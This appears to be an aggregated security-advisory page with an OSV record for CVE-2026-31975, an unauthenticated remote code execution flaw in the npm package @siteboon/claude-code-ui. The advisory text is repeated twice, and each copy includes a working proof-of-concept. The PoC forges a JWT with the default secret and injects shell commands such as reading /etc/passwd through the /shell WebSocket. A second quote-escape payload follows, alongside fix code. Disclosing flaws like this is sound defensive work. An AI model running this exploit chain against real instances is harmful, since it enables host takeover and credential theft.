CVE-2026-31975: @siteboon/claude code ui Remote Code Execution Vulnerability

HIGH
Advisory Identifier: GHSA-gv8f-wpm2-m5wr
CWE-78 CWE-287 CWE-1188
Published
Advisory Summary

CVE-2026-31975 is a HIGH remote code execution vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting @siteboon/claude code ui libraries in the npm ecosystem. The issue involves @siteboon/claude-code-ui vulnerable to unauthenticated rce via websocket shell injection. Remediation is available by upgrading affected packages to version 1.25.0.

CVE-2026-31975 at a Glance

CVE Identifier CVE-2026-31975
GHSA Identifier GHSA-gv8f-wpm2-m5wr
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Affected Product @siteboon/claude code ui
Package Ecosystem npm
Published Date
Last Updated

How to Fix CVE-2026-31975

To remediate this vulnerability, upgrade all affected @siteboon/claude code ui dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@siteboon/claude-code-ui fixed: 1.25.0
npm install @siteboon/claude-code-ui@1.25.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @siteboon/claude-code-ui

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-31975, inspect your project dependencies using npm:

npm ls @siteboon/claude-code-ui

Analyze the terminal output to locate any version of @siteboon/claude code ui in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.25.0), your application is affected.

Note: The npm ls @siteboon/claude-code-ui command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In @siteboon/claude code ui, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

# Security Advisory: Insecure Default JWT Secret + WebSocket Auth Bypass Enables Unauthenticated RCE via Shell Injection Download: [cve_claudecodeui_submission_v2.zip](https://github.com/user-attachments/files/25686652/cve_claudecodeui_submission_v2.zip) ##  Submission Info | Field | Value | |-------|-------| | **Package** | `@siteboon/claude-code-ui` | | **Ecosystem** | npm | | **Affected versions** | `<= 1.24.0` (latest) | | **Severity** | Critical | | **CVSS Score** | 9.8 | | **CVSS Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` | | **CWE** | CWE-1188, CWE-287, CWE-78 | | **Reported** | 2026-03-02 | | **Researcher** | Ethan-Yang (OPCIA) | --- ## Summary Three chained vulnerabilities allow **unauthenticated remote code execution** on any claudecodeui instance running with default configuration. No account, credentials, or prior access is required. The root cause of RCE is **OS command injection (CWE-78)** in the WebSocket shell handler. Authentication is bypassed by combining an insecure default JWT secret **(CWE-1188)** with a WebSocket authentication function that skips database user validation **(CWE-287)**. --- ## Vulnerability Details ### 1. Insecure Default JWT Secret — `CWE-1188` **File**: `server/middleware/auth.js`, line 6 ```javascript const JWT_SECRET = process.env.JWT_SECRET || 'claude-ui-dev-secret-change-in-production'; ``` The server uses an environment variable for `JWT_SECRET`, but falls back to a well-known default value when the variable is not set. Critically, `JWT_SECRET` is **not included in `.env.example`**, so the majority of users deploy without setting it, leaving the fallback value in effect. Since this default string is published verbatim in the public source code, any attacker can use it to sign arbitrary JWT tokens. --- ### 2. WebSocket Authentication Skips Database Validation — `CWE-287` **File**: `server/middleware/auth.js`, lines 82–108 `authenticateWebSocket()` only verifies the JWT **signature**. It does **not** check whether the `userId` in the payload actually exists in the database — unlike `authenticateToken()` which is used for REST endpoints and does perform this check: ```javascript // authenticateWebSocket() — VULNERABLE const decoded = jwt.verify(token, JWT_SECRET); return decoded; // ← userId never verified against DB // authenticateToken() — CORRECT (REST endpoints) const decoded = jwt.verify(token, JWT_SECRET); const user = userDb.getUserById(decoded.userId); // ← DB check present if (!user) return res.status(401)... ``` A forged token with a non-existent `userId` passes WebSocket authentication, bypassing access control entirely. --- ### 3. OS Command Injection via WebSocket Shell — `CWE-78` **File**: `server/index.js`, line 1179 ```javascript shellCommand = `cd "${projectPath}" && ${initialCommand}`; ``` Both `projectPath` and `initialCommand` are taken directly from the WebSocket message payload and interpolated into a bash command string without any sanitization, enabling arbitrary OS command execution. A secondary injection vector exists at line 1257 via unsanitized `sessionId`: ```javascript shellCommand = `cd "${projectPath}" && claude --resume ${sessionId} || claude`; ``` --- ## Proof of Concept **Requirements**: Node.js, `jsonwebtoken`, `ws` ```javascript import jwt from 'jsonwebtoken'; import WebSocket from 'ws'; // Step 1: Sign a token with the publicly known default secret const token = jwt.sign( { userId: 1337, username: 'attacker' }, 'claude-ui-dev-secret-change-in-production' ); // Step 2: Connect to /shell WebSocket — auth passes because // authenticateWebSocket() does not verify userId in DB const ws = new WebSocket(`ws://TARGET_HOST:3001/shell?token=${token}`); ws.on('open', () => { // Step 3: initialCommand is injected directly into bash ws.send(JSON.stringify({ type: 'init', projectPath: '/tmp', initialCommand: 'id && cat /etc/passwd', isPlainShell: true, hasSession: false })); }); ws.on('message', (data) => { const msg = JSON.parse(data); if (msg.type === 'output') process.stdout.write(msg.data); }); ``` **Actual output observed during testing:** ``` uid=1001(user) gid=1001(user) groups=1001(user),27(sudo) ubuntu root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ... ``` ### Secondary vector — `projectPath` double-quote escape injection ```javascript ws.send(JSON.stringify({ type: 'init', projectPath: '" && id && echo "pwned" # ', provider: 'claude', hasSession: false })); // Server executes: cd "" && id && echo "pwned" # " && claude // Output: uid=1001... / pwned ``` --- ## Additional Findings | CWE | Location | Description | |-----|----------|-------------| | CWE-306 | `server/routes/auth.js:22` | `/api/auth/register` requires no authentication — first caller becomes admin | | CWE-942 | `server/index.js:325` | `cors()` with no options sets `Access-Control-Allow-Origin: *` | | CWE-613 | `server/middleware/auth.js:70` | `generateToken()` sets no `expiresIn` — tokens never expire | --- ## Impact Any claudecodeui instance accessible over the network where `JWT_SECRET` is not explicitly configured (the default case, as it is absent from `.env.example`) is vulnerable to: - **Full OS command execution** as the server process user - **File system read/write** access - **Credential theft** (SSH keys, `.env` files, API keys stored on the host) - **Lateral movement** within the host network The attack requires **zero authentication** and succeeds immediately after default installation. --- ## Remediation ### Fix 1 — Enforce explicit JWT_SECRET; remove insecure default ```javascript // server/middleware/auth.js const JWT_SECRET = process.env.JWT_SECRET; if (!JWT_SECRET) { console.error('[FATAL] JWT_SECRET environment variable must be set'); process.exit(1); } ``` Also add `JWT_SECRET=` to `.env.example` with a clear instruction to set a strong random value. ### Fix 2 — Add DB user existence check in WebSocket authentication ```javascript const authenticateWebSocket = (token) => { if (!token) return null; try { const decoded = jwt.verify(token, JWT_SECRET); const user = userDb.getUserById(decoded.userId); // ← add if (!user) return null; // ← add return user; } catch (error) { return null; } }; ``` ### Fix 3 — Replace shell string interpolation with spawn argument array ```javascript // Instead of: const shellProcess = pty.spawn('bash', ['-c', `cd "${projectPath}" && ${initialCommand}`], ...); // Use: const shellProcess = pty.spawn(initialCommand.split(' ')[0], initialCommand.split(' ').slice(1), { cwd: projectPath // pass path as cwd, not shell string }); ``` ### Fix 4 — Additional hardening - Add `expiresIn: '24h'` to `generateToken()` - Restrict CORS to specific trusted origins - Rate-limit and restrict `/api/auth/register` to localhost on initial setup --- ## Timeline | Date | Event | |------|-------| | 2026-03-02 | Vulnerabilities discovered and verified via PoC | | 2026-03-02 | Private advisory submitted to maintainer | | 2026-06-01 | Public disclosure (90-day deadline) | --- ## Researcher **Ethan-Yang** — OPCIA

CVE-2026-31975 Affected @siteboon/claude code ui Versions

1 component(s)
Fixed Versions:
1.25.0
Product / Package Ecosystem Affected Versions Fixed Version
@siteboon/claude-code-ui
npm
< 1.25.0
1.25.0

References

Frequently Asked Questions

What is CVE-2026-31975?
CVE-2026-31975 is a security vulnerability in @siteboon/claude code ui involving @siteboon/claude-code-ui Vulnerable to Unauthenticated RCE via WebSocket Shell Injection under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
Which @siteboon/claude code ui versions are affected?
Affected versions include releases prior to 1.25.0 across affected packages: @siteboon/claude-code-ui.
What version fixes CVE-2026-31975?
Upgrading to 1.25.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @siteboon/claude-code-ui affected?
Yes, @siteboon/claude-code-ui is affected in releases prior to 1.25.0. Upgrade your dependency to 1.25.0 or later.
What CWE is associated with CVE-2026-31975?
CVE-2026-31975 is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.).
How can I check npm dependencies for CVE-2026-31975?
Run the dependency tree command: 'npm ls @siteboon/claude-code-ui'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-gv8f-wpm2-m5wr",
  "modified" : "2026-03-11T20:58:52Z",
  "published" : "2026-03-11T00:37:25Z",
  "aliases" : [ "CVE-2026-31975" ],
  "summary" : "@siteboon/claude-code-ui Vulnerable to Unauthenticated RCE via WebSocket Shell Injection",
  "details" : "# Security Advisory: Insecure Default JWT Secret + WebSocket Auth Bypass Enables Unauthenticated RCE via Shell Injection\nDownload: [cve_claudecodeui_submission_v2.zip](https://github.com/user-attachments/files/25686652/cve_claudecodeui_submission_v2.zip)\n\n##  Submission Info\n\n| Field | Value |\n|-------|-------|\n| **Package** | `@siteboon/claude-code-ui` |\n| **Ecosystem** | npm |\n| **Affected versions** | `<= 1.24.0` (latest) |\n| **Severity** | Critical |\n| **CVSS Score** | 9.8 |\n| **CVSS Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` |\n| **CWE** | CWE-1188, CWE-287, CWE-78 |\n| **Reported** | 2026-03-02 |\n| **Researcher** | Ethan-Yang (OPCIA) |\n\n---\n\n## Summary\n\nThree chained vulnerabilities allow **unauthenticated remote code execution** on any\nclaudecodeui instance running with default configuration. No account, credentials, or\nprior access is required.\n\nThe root cause of RCE is **OS command injection (CWE-78)** in the WebSocket shell\nhandler. Authentication is bypassed by combining an insecure default JWT secret\n**(CWE-1188)** with a WebSocket authentication function that skips database user\nvalidation **(CWE-287)**.\n\n---\n\n## Vulnerability Details\n\n### 1. Insecure Default JWT Secret — `CWE-1188`\n\n**File**: `server/middleware/auth.js`, line 6\n\n```javascript\nconst JWT_SECRET = process.env.JWT_SECRET || 'claude-ui-dev-secret-change-in-production';\n```\n\nThe server uses an environment variable for `JWT_SECRET`, but falls back to a\nwell-known default value when the variable is not set. Critically, `JWT_SECRET` is\n**not included in `.env.example`**, so the majority of users deploy without setting it,\nleaving the fallback value in effect.\n\nSince this default string is published verbatim in the public source code, any attacker\ncan use it to sign arbitrary JWT tokens.\n\n---\n\n### 2. WebSocket Authentication Skips Database Validation — `CWE-287`\n\n**File**: `server/middleware/auth.js`, lines 82–108\n\n`authenticateWebSocket()` only verifies the JWT **signature**. It does **not** check\nwhether the `userId` in the payload actually exists in the database — unlike\n`authenticateToken()` which is used for REST endpoints and does perform this check:\n\n```javascript\n// authenticateWebSocket() — VULNERABLE\nconst decoded = jwt.verify(token, JWT_SECRET);\nreturn decoded;  // ← userId never verified against DB\n\n// authenticateToken() — CORRECT (REST endpoints)\nconst decoded = jwt.verify(token, JWT_SECRET);\nconst user = userDb.getUserById(decoded.userId);  // ← DB check present\nif (!user) return res.status(401)...\n```\n\nA forged token with a non-existent `userId` passes WebSocket authentication,\nbypassing access control entirely.\n\n---\n\n### 3. OS Command Injection via WebSocket Shell — `CWE-78`\n\n**File**: `server/index.js`, line 1179\n\n```javascript\n\nshellCommand = `cd \"${projectPath}\" && ${initialCommand}`;\n```\n\nBoth `projectPath` and `initialCommand` are taken directly from the WebSocket message\npayload and interpolated into a bash command string without any sanitization,\nenabling arbitrary OS command execution.\n\nA secondary injection vector exists at line 1257 via unsanitized `sessionId`:\n\n```javascript\nshellCommand = `cd \"${projectPath}\" && claude --resume ${sessionId} || claude`;\n```\n\n---\n\n## Proof of Concept\n\n**Requirements**: Node.js, `jsonwebtoken`, `ws`\n\n```javascript\nimport jwt from 'jsonwebtoken';\nimport WebSocket from 'ws';\n\n// Step 1: Sign a token with the publicly known default secret\nconst token = jwt.sign(\n  { userId: 1337, username: 'attacker' },\n  'claude-ui-dev-secret-change-in-production'\n);\n\n// Step 2: Connect to /shell WebSocket — auth passes because\n//         authenticateWebSocket() does not verify userId in DB\nconst ws = new WebSocket(`ws://TARGET_HOST:3001/shell?token=${token}`);\n\nws.on('open', () => {\n  // Step 3: initialCommand is injected directly into bash\n  ws.send(JSON.stringify({\n    type: 'init',\n    projectPath: '/tmp',\n    initialCommand: 'id && cat /etc/passwd',\n    isPlainShell: true,\n    hasSession: false\n  }));\n});\n\nws.on('message', (data) => {\n  const msg = JSON.parse(data);\n  if (msg.type === 'output') process.stdout.write(msg.data);\n});\n```\n\n**Actual output observed during testing:**\n```\nuid=1001(user) gid=1001(user) groups=1001(user),27(sudo)\nubuntu\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n...\n```\n\n### Secondary vector — `projectPath` double-quote escape injection\n\n```javascript\nws.send(JSON.stringify({\n  type: 'init',\n  projectPath: '\" && id && echo \"pwned\" # ',\n  provider: 'claude',\n  hasSession: false\n}));\n// Server executes: cd \"\" && id && echo \"pwned\" # \" && claude\n// Output: uid=1001... / pwned\n```\n\n---\n\n## Additional Findings\n\n| CWE | Location | Description |\n|-----|----------|-------------|\n| CWE-306 | `server/routes/auth.js:22` | `/api/auth/register` requires no authentication — first caller becomes admin |\n| CWE-942 | `server/index.js:325` | `cors()` with no options sets `Access-Control-Allow-Origin: *` |\n| CWE-613 | `server/middleware/auth.js:70` | `generateToken()` sets no `expiresIn` — tokens never expire |\n\n---\n\n## Impact\n\nAny claudecodeui instance accessible over the network where `JWT_SECRET` is not\nexplicitly configured (the default case, as it is absent from `.env.example`) is\nvulnerable to:\n\n- **Full OS command execution** as the server process user\n- **File system read/write** access\n- **Credential theft** (SSH keys, `.env` files, API keys stored on the host)\n- **Lateral movement** within the host network\n\nThe attack requires **zero authentication** and succeeds immediately after\ndefault installation.\n\n---\n\n## Remediation\n\n### Fix 1 — Enforce explicit JWT_SECRET; remove insecure default\n```javascript\n// server/middleware/auth.js\nconst JWT_SECRET = process.env.JWT_SECRET;\nif (!JWT_SECRET) {\n  console.error('[FATAL] JWT_SECRET environment variable must be set');\n  process.exit(1);\n}\n```\nAlso add `JWT_SECRET=` to `.env.example` with a clear instruction to set a strong random value.\n\n### Fix 2 — Add DB user existence check in WebSocket authentication\n```javascript\nconst authenticateWebSocket = (token) => {\n  if (!token) return null;\n  try {\n    const decoded = jwt.verify(token, JWT_SECRET);\n    const user = userDb.getUserById(decoded.userId); // ← add\n    if (!user) return null;                          // ← add\n    return user;\n  } catch (error) {\n    return null;\n  }\n};\n```\n\n### Fix 3 — Replace shell string interpolation with spawn argument array\n```javascript\n// Instead of:\nconst shellProcess = pty.spawn('bash', ['-c', `cd \"${projectPath}\" && ${initialCommand}`], ...);\n\n// Use:\nconst shellProcess = pty.spawn(initialCommand.split(' ')[0], initialCommand.split(' ').slice(1), {\n  cwd: projectPath  // pass path as cwd, not shell string\n});\n```\n\n### Fix 4 — Additional hardening\n- Add `expiresIn: '24h'` to `generateToken()`\n- Restrict CORS to specific trusted origins\n- Rate-limit and restrict `/api/auth/register` to localhost on initial setup\n\n---\n\n## Timeline\n\n| Date | Event |\n|------|-------|\n| 2026-03-02 | Vulnerabilities discovered and verified via PoC |\n| 2026-03-02 | Private advisory submitted to maintainer |\n| 2026-06-01 | Public disclosure (90-day deadline) |\n\n---\n\n## Researcher\n\n**Ethan-Yang** — OPCIA",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@siteboon/claude-code-ui"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.25.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.24.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/siteboon/claudecodeui/security/advisories/GHSA-gv8f-wpm2-m5wr"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-31975"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/siteboon/claudecodeui/commit/12e7f074d9563b3264caf9cec6e1b701c301af26"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/siteboon/claudecodeui"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/siteboon/claudecodeui/releases/tag/v1.25.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1188", "CWE-287", "CWE-78" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-11T00:37:25Z",
    "nvd_published_at" : "2026-03-11T18:16:27Z"
  }
}